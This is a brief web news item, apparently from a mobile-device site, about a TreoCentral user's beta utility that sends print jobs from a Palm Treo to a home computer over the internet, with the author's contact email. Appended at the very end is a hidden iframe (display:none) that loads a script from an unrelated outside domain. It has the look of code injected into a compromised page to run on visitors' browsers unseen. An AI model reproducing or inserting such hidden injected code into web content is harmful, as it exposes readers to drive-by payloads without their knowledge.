TreoCentral user SurfaceCruncher has written a utility that allows you to print from your Treo....
"Beyond phone and data apps that everybody normally uses Treo for, I had some additional goals for Treo. I noticed early on that there seemed to be no print capability from PALM PDA devices. I looked for software and did not see much. So, I wrote a little piece of software that runs on my home computer (attached to the internet VIA Comcast cable internet and a wireless WIFI router/firewall) which allows Treo to send print jobs to my home computer VIA the public Internet much like an email message with a file attached. "
If I get enough interest in it, I will write up docs and release it. If you'd like to have the beta, send me an email at: surfacecruncher@hotmail.com
Source: TreoCentral<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>